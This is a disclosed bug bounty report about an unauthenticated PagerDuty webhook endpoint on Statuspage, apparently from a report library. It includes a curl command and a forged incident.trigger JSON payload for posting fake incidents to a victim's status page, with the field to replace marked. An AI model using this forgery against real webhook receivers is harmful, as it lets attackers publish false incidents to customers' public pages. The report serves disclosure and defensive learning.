# No authentication of PagerDuty webhooks

Unauthenticated PagerDuty webhook endpoint allowed anyone with a non-secret service ID to forge incidents on a customer's Statuspage.

- Payout: $300
- Severity: medium
- Program: Statuspage
- Found by: alokare
- Disclosed: 2020-08-28
- Write-up quality: 6/10
- Original: https://bugcrowd.com/disclosures/8b892440-3f19-49c8-bb71-9288de175289/no-authentication-of-pagerduty-webhooks
- Library page: https://bugbountylibrary.com/r/bc%3Af77876d9-62aa-4a49-87af-6725db4a38dd
- Tags: area:web domain:web impact:integrity kind:bounty platform:bugcrowd sev:medium tech:rest vuln:auth-bypass vuln:misconfiguration

**Target:** manage.statuspage.io/pagerduty_webhooks/create webhook endpoint
**Root cause:** The webhook listener did not verify that requests originated from PagerDuty (no IP allowlist or mutual TLS), trusting only the payload's service ID.
**Steps:**
1. Capture a legitimate PagerDuty incident.trigger webhook for your own account.
2. Replace the `service.id` field with the victim's known PagerDuty service ID (e.g., `P92PZQJ`).
3. Send `curl -X POST 'https://manage.statuspage.io/pagerduty_webhooks/create' -H 'content-type: application/json' -H 'user-agent: PagerDuty-Webhook/V1.0' -H 'x-webhook-id: <uuid>' -d @pagerduty_webhook.json`.
**How found:** Observed that the webhook endpoint accepted requests without verifying sender identity; hypothesized that only the service ID was needed and tested by replaying a modified webhook.
**Exploitation:** Attacker obtains a victim's PagerDuty service ID (visible to read-only users via API/UI), crafts a fake incident.trigger webhook, and POSTs it to the unauthenticated Statuspage endpoint, causing a fraudulent incident to appear on the victim's public status page.
**Insight:** Webhook receivers that rely solely on payload identifiers (like service IDs) without source authentication (IP allowlist, mTLS, HMAC) are forgeable; check integration endpoints for missing sender verification.

## Proof of concept (copied exactly from the original report)

**Curl request forging PagerDuty webhook to open incident**

```
curl -X 'POST' 'https://manage.statuspage.io/pagerduty_webhooks/create' -H 'content-type: application/json' -H 'user-agent: PagerDuty-Webhook/V1.0' -H 'x-webhook-id: 9f981ef8-c4d7-11ea-a692-0242c0a82a05' -H 'accept: application/json' -d @pagerduty_webhook.json
```

**Forged webhook JSON payload with victim service id**

```
"messages": [
{
 "type": "incident.trigger",
 "data": {
 "incident": {
 "id": "PIMZBR3",
 "incident_number": 42,
 "created_on": "2020-07-13T07:19:17Z",
 "status": "triggered",
 "pending_actions": [],
 "html_url": "https://lean-java.pagerduty.com/incidents/PIMZBR3",
 "incident_key": "cf973b15f8b14be7b4b6f314e8047fa7",
 "service": {
 "id": "P92PZQJ", ------------------> replace this
 "name": "LJ Status Page",
 "html_url": "https://lean-java.pagerduty.com/service-directory/P92PZQJ",
 "deleted_at": null,
 "description": "Service for statuspage.io integration"
 },
 "escalation_policy": {
 "id": "PPDGHVJ",
 "name": "Default",
 "deleted_at": null
 },
 "assigned_to_user": {
 "id": "PIMGTPX",
 "name": "Ameya Lokare",
 "email": "lokare.ameya@gmail.com",
 "html_url": "https://lean-java.pagerduty.com/users/PIMGTPX"
 },
 "trigger_summary_data": {
 "subject": "status page incident to copy"
 },
 "trigger_details_html_url": "https://lean-java.pagerduty.com/incidents/PIMZBR3/log_entries/R9AGHIQS2TLTCKMAJKAJ7MUBZ6",
 "trigger_type": "web_trigger",
 "last_status_change_on": "2020-07-13T07:19:17Z",
 "last_status_change_by": null,
 "number_of_escalations": null,
 "assigned_to": [
 {
 "at": "2020-07-13T07:19:17Z",
 "object": {
 "id": "PIMGTPX",
 "name": "Ameya Lokare",
 "email": "lokare.ameya@gmail.com",
 "html_url": "https://lean-java.pagerduty.com/users/PIMGTPX",
 "type": "user"
 }
 }
 ],
 "urgency": "high"
 }
 },
 "id": "29e389a2-c4d9-11ea-8134-0242c0a82a05",
 "created_on": "2020-07-13T07:19:17Z"
}
]
}
```

